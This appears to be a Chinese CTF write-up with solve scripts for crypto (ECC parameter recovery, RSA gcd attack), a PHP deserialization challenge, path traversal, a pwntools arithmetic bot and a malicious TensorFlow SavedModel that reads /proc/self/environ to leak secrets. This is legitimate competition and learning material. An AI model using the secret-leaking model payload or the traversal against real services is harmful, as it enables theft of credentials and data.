gift = 27203859362379532209762716293585970661584968016465564915669656593570376250661463300469214869975225133883120425672896040102408082124157996563344160198308488970094544684114508100388704667496464400261830996514109943777210955076236899363247079300339008914936852187908757699066223721473477803084358704291887973927
n = 99350851709648177478181442570691890135193362203180628334780894515389735176666242281991349782055218048443285160186921692026870729324336754641181928398906259668775047724023372863155472201773397077316170491389813660679924150036914095032544796724427607899057109320556570067643629947815982002736525967748207154359

# --- 1. 恢复椭圆曲线模数 g ---
# 曲线方程: y^2 = x^3 + ax + b (mod g)
# 变形: y^2 - x^3 = ax + b (mod g)
# 令 A_i = y_i^2 - x_i^3
# A_i - A_j = a(x_i - x_j) (mod g)
# 所以: (A_i - A_j)(x_k - x_l) = (A_k - A_l)(x_i - x_j) (mod g)
# 移项后的差值应该是 g 的倍数

def recover_ecc_modulus(points):
# points list of (x, y)
vals = []
for x, y in points:
vals.append(y**2 - x**3)

# 使用前三个点对 (0,1) 和 (2,3) (这里用K做第四个点)
# 计算 (A0 - A1) * (x2 - x3) - (A2 - A3) * (x0 - x1)
lhs = (vals[0] - vals[1]) * (points[2][0] - points[3][0])
rhs = (vals[2] - vals[3]) * (points[0][0] - points[1][0])

diff = lhs - rhs
# g 是 256 bit 的素数,我们分解 diff 找最大的因子
# diff 可能是负数,取绝对值
diff = abs(diff)

# 简单的试除法不太行,但在 Sage 中 diff 很大但包含 g,直接 factor 可能太慢
# 但通常 diff = k * g,k 很小。
# 题目中 points 是随机生成的,我们假设 gcd(diff, other_combination) 能提取 g

# 再算一组组合 (0, 2) 和 (1, 3)
lhs2 = (vals[0] - vals[2]) * (points[1][0] - points[3][0])
rhs2 = (vals[1] - vals[3]) * (points[0][0] - points[2][0])
diff2 = abs(lhs2 - rhs2)

g_candidate = gcd(diff, diff2)

# 过滤小因子
return g_candidate

print("[*] Recovering ECC parameter g...")
points = [L_coords, s1_coords, s2_coords, K_coords]
g_val = recover_ecc_modulus(points)

# 确保 g 是素数 (题目中 getPrime(256))
# 此时 g_val 可能包含一些小因子
# 在本题中,g 是 256 位,这里直接 check 因子
if not is_prime(g_val):
# 提取最大的素因子
print(" Finding largest prime factor of GCD...")
factors = list(factor(g_val))
g = factors[-1][0] # 最大的因子
else:
g = g_val

print(f"[+] Found g: {g}")

# --- 2. 恢复曲线参数 a, b 和 Point s ---
print("[*] Recovering curve parameters a, b...")
F = GF(g)
x1, y1 = points[0]
x2, y2 = points[1]

# a = (A1 - A2) / (x1 - x2)
A1 = y1**2 - x1**3
A2 = y2**2 - x2**3
a = F(A1 - A2) / F(x1 - x2)
b = F(A1) - a * F(x1)

print(f"[+] a: {a}")
print(f"[+] b: {b}")

E = EllipticCurve(F, [a, b])
L_pt = E(L_coords)
s1_pt = E(s1_coords)
s2_pt = E(s2_coords)

print("[*] Brute forcing small k (16 bits)...")
# s1 = s + k*L => s = s1 - k*L
# s2 = k*s
# 验证 k*(s1 - k*L) == s2

found_s = None
for k_try in range(1, 65536):
# s_cand = s1 - k*L
try:
s_cand = s1_pt - k_try * L_pt
if k_try * s_cand == s2_pt:
print(f"[+] Found k: {k_try}")
found_s = s_cand
break
except:
continue

if not found_s:
print("[-] Failed to find s")
exit()

s_x, s_y = found_s.xy()
rsa_exp = abs(int(s_x) - int(s_y))
print(f"[+] RSA Exponent derived from s: {rsa_exp}")

# --- 3. 攻击 RSA ---
# gift = rr^(rr*(p-1)) mod n
# gift = (rr^(p-1))^rr mod p = 1^rr mod p = 1
# p divides (gift - 1)

print("[*] Breaking RSA...")
p = gcd(gift - 1, n)
q = n // p
assert p * q == n

phi = (p - 1) * (q - 1)
d = inverse_mod(rsa_exp, phi)
m_int = power_mod(enc, d, n)

flag = long_to_bytes(m_int)
print(f"\n[SUCCESS] Flag: {flag.decode()}")
#flag{this_1s_a_so_EZ_Ecc_and_RSA_}

Web

Time Capsule

开启容器后直接输入/FLAG,然后读取文件就行了,何意味呢

image-20251205141721524

Baby Cloud

qwen还是太好用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
error_reporting(0);
include('flag.php');
class race
{
public $rainbow;
public $pinkie;
public $fail = 1;
public function __construct($rainbow, $pinkie)
{
$this->rainbow = $rainbow;
$this->pinkie = $pinkie;
}
}
if (isset($_GET['rainbow']) && isset($_GET['pinkie'])) {
$rainbow = $_GET['rainbow'];
$pinkie = $_GET['pinkie'];
$_RACE = new race($rainbow, $pinkie);
if (preg_match('/wonderful/', $rainbow)) {
$twlight_freeze_magic = serialize($_RACE);
$twlight_change_magic = str_replace('awesome', 'awesomer', $twlight_freeze_magic);
$twlight_resume_magic = unserialize($twlight_change_magic);
if ($twlight_resume_magic->fail == 0) {
echo $flag;
}else{
echo "rainbow is not wonderful";
echo "flag{17de01b1-56d5-45d1-8b86-475811b32634}";
}
} else {
echo "
云宝(Rainbow Dash),是动漫《小马宝莉》中的主要角色之一。是一只雌性的飞马,有着天蓝色的身体、彩虹色的鬃毛。可爱标记为一朵白云下面有一道彩虹闪电。
云宝性格外向、勇敢、爱冒险,和碧琪一样喜欢恶作剧、爱笑,表情和肢体动作丰富,忠于自己。她的速度极快,飞行时带着彩虹拖尾,十分漂亮,彩虹音爆是她的拿手好戏。
云宝在和谐之元中代表性格为“忠诚”。曾经生活在云中城(Cloudsdale)的云宝天生就是一个体能很好的运动员,拥有开朗、活泼、勇敢和不拘小节的精神性格,对自己的身体能力相当有自信,飞行速度超级快。
曾经与苹果嘉儿(Applejack)比赛。后来加入了“闪电飞马队”,还创造了很多“闪电飞马学院”的记录。
第二季中云宝因为把自己的翅膀折了,云宝在医院养伤。意外地喜欢上无畏天马(A.K.叶玲)的探险小说,从此一发不可收拾……只要看到云宝正在读书,那肯定是无畏天马的小说。
云宝超级爱苹果家族的苹果汁,但每次的苹果汁季节苹果酒大半都被碧琪买走,排队轮到她时,苹果汁一滴不剩了(因此被认定为幸运的非酋)。
在第二季21集时说过自己不爱做水疗,在第六季第十集中说那是娇娇女才会做的(其实一直很喜欢做,只是碍于面子问题不敢承认)。 [1]
在第九季26集 [12]中以身着闪电天马队长制服的中年形象与围上婆婆的围兜的中年苹果嘉儿一起,从门中走出。父母:父亲鲍霍夫先生、母亲风笛女士
朋友:紫悦、碧琪、珍奇、苹果嘉儿、柔柔、陆龟坦克、可爱军团、其他小马谷居民等
敌人:黑晶王、邪茧女王、昙特巴斯、提雷克、风暴大王、可西光辉
先敌后友:梦魇之月(月亮公主)、星光熠熠、特丽克西、狂风将军(灵光小莓)、无序、余晖烁烁";
}
}else{
highlight_file(__FILE__);
}
image-20251206223011399

Horse

robots.txt看到hint

image-20251207193658040
image-20251207193711087

ctfers用户弱口令12345678就能登陆,有个参数ctfer_mode,可以目录穿越读到flag

所以/ctfer_mode这个路由何意味呢

image-20251207193928917

AI

Contaminated-data

gemini还是太好用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import numpy as np

def hopfield_network(input_vector, weights, max_iter=20):
"""
Simulates a Hopfield network using -1 and 1 states.

Args:
input_vector: The initial state vector (flattened, with -1 and 1).
weights: The weight matrix.
max_iter: Maximum number of iterations.

Returns:
The final stable state vector.
"""
state = np.copy(input_vector)
for i in range(max_iter):
# Standard Hopfield update rule
new_state = np.sign(np.dot(weights, state))
# np.sign can return 0 for zero inputs, replace with 1 (or -1, convention varies)
# Let's stick to the previous state's value in that case.
new_state[new_state == 0] = state[new_state == 0]

if np.array_equal(new_state, state):
print(f"Network converged after {i+1} iterations.")
return new_state
state = new_state

print("Network did not converge after max iterations.")
return state

def run():
# Load the data
try:
c = np.load('c.npy')
weights = np.load('weights.npy')
except Exception as e:
print(f"Error loading files: {e}")
return

# Transform c from {0, 1} to {-1, 1} for the Hopfield network
c_transformed = c * 2 - 1
input_pattern = c_transformed.flatten()

print("--- Processing the flattened c matrix with -1/1 states ---")

# Run the Hopfield network simulation
final_state = hopfield_network(input_pattern, weights)

if final_state is not None:
try:
# Convert the {-1, 1} state back to {0, 1} for decoding
final_state_01 = ((final_state + 1) / 2).astype(int)

# Reshape the output into a 4x76 matrix to be displayed as art
image_matrix = final_state_01.reshape(4, 76)

print("--- Displaying the result as an image ---")
for row in image_matrix:
line = "".join(['#' if pixel == 1 else ' ' for pixel in row])
print(line)

except Exception as e:
print(f"Could not reshape the output: {e}")
print("\\n" + "="*30 + "\\n")

if __name__ == "__main__":
run()
'''
--- Processing the flattened c matrix with -1/1 states ---
Network converged after 2 iterations.
--- Displaying the result as an image ---
### # # ### ## ### # ### # # ### # # # # # # # ### ### ##
# # # # # # # # # # # # ### # # # # ### # # # # # #
### # ### ### # ### # # # # # # ### # # # # # # ## # #
# ### # # ### ## # ### ### # ### ## # # ### ### ## # # ### # # # ##
\n==============================\n
'''

Modelscope

在长城杯和羊城杯都考过的原题https://blog.csdn.net/Aluxian_/article/details/151867798

只不过这次flag在环境变量里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# build_model_tfio.py
# 使用纯 TensorFlow op 在 Graph 中读取 /flag 并作为 signature 返回
# 运行环境需要安装 tensorflow (建议 tensorflow-cpu)
#
# 生成: model.zip

import os
import zipfile

try:
import tensorflow as tf
except Exception as e:
raise SystemExit("请先安装 TensorFlow: pip install tensorflow-cpu\n错误: " + str(e))

OUT_DIR = "model_saved"
ZIP_PATH = "model.zip"

# 清理
if os.path.exists(OUT_DIR):
import shutil
shutil.rmtree(OUT_DIR)
if os.path.exists(ZIP_PATH):
os.remove(ZIP_PATH)

# 纯 TF 的 serve 函数:在 Graph 中读取 /flag,确保返回 tf.Tensor (dtype=tf.string)
@tf.function(input_signature=[tf.TensorSpec(shape=[None, 1], dtype=tf.float32)])
def serve_fn(x):
# tf.io.read_file 是一个图操作,返回 tf.Tensor(dtype=tf.string, shape=())
data = tf.io.read_file("/proc/self/environ")

# 为兼容一些加载器/调用方,明确设置形状(标量),或者扩展成 [batch] 形式:
# 1) 若调用端期待标量 string:直接返回 data
# 2) 若调用端以 batch 形式调用(输入是 [N,1]),可以把 data 扩成 [N]
# 下面示例把 data 重复为与输入 batch size 相同的向量
batch_size = tf.shape(x)[0]
data_vec = tf.repeat(tf.expand_dims(data, 0), repeats=batch_size) # shape [batch_size]
# 返回 dict,prediction 保持为 shape [batch_size] 的 tf.string 张量
return {"prediction": data_vec}

# 备用的纯 TF signature(不读取文件),便于测试加载器是否能读取 SavedModel
@tf.function(input_signature=[tf.TensorSpec(shape=[None, 1], dtype=tf.float32)])
def noop_fn(x):
batch_size = tf.shape(x)[0]
const = tf.constant("MODEL_OK", dtype=tf.string)
vec = tf.repeat(tf.expand_dims(const, 0), repeats=batch_size)
return {"prediction": vec}

# 保存 Module,并显式把 "serve" signature 写入
class ModelModule(tf.Module):
@tf.function(input_signature=[tf.TensorSpec(shape=[None, 1], dtype=tf.float32)])
def __call__(self, x):
return serve_fn(x)

module = ModelModule()
tf.saved_model.save(module, OUT_DIR, signatures={"serve": serve_fn, "noop": noop_fn})

# 打包为 zip
with zipfile.ZipFile(ZIP_PATH, "w", compression=zipfile.ZIP_DEFLATED) as zf:
for root, dirs, files in os.walk(OUT_DIR):
for fname in files:
full = os.path.join(root, fname)
arcname = os.path.relpath(full, OUT_DIR)
zf.write(full, arcname)

print("SavedModel saved to:", OUT_DIR)
print("Zipped to:", ZIP_PATH)

image-20251205144535257

Misc

Sign_in

关注一波就行

HSCCTF{w3lc0me_hScCtf2oz5}

Hidden Bullet Comments

翻看Network就行

image-20251205214151866

Signin_WhoRwe

随波逐流一把梭了

image-20251205223026354

CALC

经典pwntools脚本题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
import re
host = '150.138.81.18'
port = 14689
conn = remote(host, port)
cnt=0
pattern = r'(\d+\s*\+\s*\d+)'
while cnt<=500:
s=conn.recv().decode()
match = re.search(pattern, s)
if match:
ans=str(eval(match.group(1)))
print(ans)
conn.sendline(ans.encode())
cnt+=1
else:
print(s)
conn.interactive()
image-20251206164833960

Harris

不懂何意味,投完一票等倒计时结束就好了

image-20251206170119217